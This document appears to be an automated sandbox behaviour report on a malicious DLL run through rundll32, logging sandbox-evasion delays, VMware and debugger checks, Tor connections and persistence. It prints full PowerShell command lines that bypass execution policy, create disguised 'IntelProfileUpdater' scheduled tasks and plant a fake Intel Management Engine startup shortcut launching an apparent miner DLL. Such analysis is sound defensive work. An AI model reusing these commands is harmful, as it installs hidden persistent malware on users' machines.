Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1447	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1869	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1061	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 378	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3039	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 573	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 674
Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 452
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1087
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 651

Source: C:\Windows\System32\rundll32.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll

Jump to dropped file

Source: C:\Windows\System32\loaddll64.exe TID: 3596	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1200	Thread sleep count: 1447 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1200	Thread sleep count: 1869 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2504	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7296	Thread sleep count: 1061 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7284	Thread sleep count: 378 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7484	Thread sleep count: 3039 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7484	Thread sleep count: 573 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7520	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7496	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3408	Thread sleep count: 1087 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7344	Thread sleep count: 273 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4372	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7296	Thread sleep count: 651 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6968	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll64.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\torproject\Arti
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\torproject\Arti\data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\torproject
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local

Source: powershell.exe, 0000001A.00000002.2347284423.000002513A47C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\N_:Q
Source: powershell.exe, 0000001A.00000002.2348902692.000002513A5DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_pF^:Q
Source: rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y#
Source: powershell.exe, 0000001A.00000002.2347284423.000002513A47C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}e
Source: powershell.exe, 0000001A.00000002.2349778858.000002513A60A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 54.36.205.38 9001
Source: C:\Windows\System32\rundll32.exe	Network Connect: 23.233.0.213 9001
Source: C:\Windows\System32\rundll32.exe	Network Connect: 89.58.54.129 853
Source: C:\Windows\System32\rundll32.exe	Network Connect: 81.7.16.177 9001
Source: C:\Windows\System32\rundll32.exe	Network Connect: 18.18.82.18 9001

Bypasses PowerShell execution policy

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",#1	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementEngine.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management Engine (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementEngine.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management Engine (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "Write-Host 'Dummy process started. Press Ctrl+C to exit.'; while ($true) { try { Start-Sleep -Seconds 1 } catch { Write-Host 'Close signal received. Exiting...'; break } }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -noprofile -executionpolicy bypass -command $wscriptshell = new-object -comobject wscript.shell $shortcut = $wscriptshell.createshortcut('c:\users\user\appdata\roaming/microsoft/windows/start menu/programs/startup/intelmanagementengine.lnk') $shortcut.targetpath = 'powershell.exe' $shortcut.description = 'the intel management engine (me) is an embedded microcontroller running on a dedicated microprocessor integrated into intel chipsets.' $shortcut.arguments = '-noprofile -executionpolicy bypass -command c:\windows\system32\rundll32.exe "c:\users\user\appdata\roaming/intelmanagementunit/mainer.dll",dllmaineruseronly' $shortcut.windowstyle = 7 $shortcut.save()
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -noprofile -executionpolicy bypass -command $wscriptshell = new-object -comobject wscript.shell $shortcut = $wscriptshell.createshortcut('c:\users\user\appdata\roaming/microsoft/windows/start menu/programs/startup/intelmanagementengine.lnk') $shortcut.targetpath = 'powershell.exe' $shortcut.description = 'the intel management engine (me) is an embedded microcontroller running on a dedicated microprocessor integrated into intel chipsets.' $shortcut.arguments = '-noprofile -executionpolicy bypass -command c:\windows\system32\rundll32.exe "c:\users\user\appdata\roaming/intelmanagementunit/mainer.dll",dllmaineruseronly' $shortcut.windowstyle = 7 $shortcut.save()
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -noprofile -executionpolicy bypass -command $wscriptshell = new-object -comobject wscript.shell $shortcut = $wscriptshell.createshortcut('c:\users\user\appdata\roaming/microsoft/windows/start menu/programs/startup/intelmanagementengine.lnk') $shortcut.targetpath = 'powershell.exe' $shortcut.description = 'the intel management engine (me) is an embedded microcontroller running on a dedicated microprocessor integrated into intel chipsets.' $shortcut.arguments = '-noprofile -executionpolicy bypass -command c:\windows\system32\rundll32.exe "c:\users\user\appdata\roaming/intelmanagementunit/mainer.dll",dllmaineruseronly' $shortcut.windowstyle = 7 $shortcut.save()	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -noprofile -executionpolicy bypass -command $wscriptshell = new-object -comobject wscript.shell $shortcut = $wscriptshell.createshortcut('c:\users\user\appdata\roaming/microsoft/windows/start menu/programs/startup/intelmanagementengine.lnk') $shortcut.targetpath = 'powershell.exe' $shortcut.description = 'the intel management engine (me) is an embedded microcontroller running on a dedicated microprocessor integrated into intel chipsets.' $shortcut.arguments = '-noprofile -executionpolicy bypass -command c:\windows\system32\rundll32.exe "c:\users\user\appdata\roaming/intelmanagementunit/mainer.dll",dllmaineruseronly' $shortcut.windowstyle = 7 $shortcut.save()	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
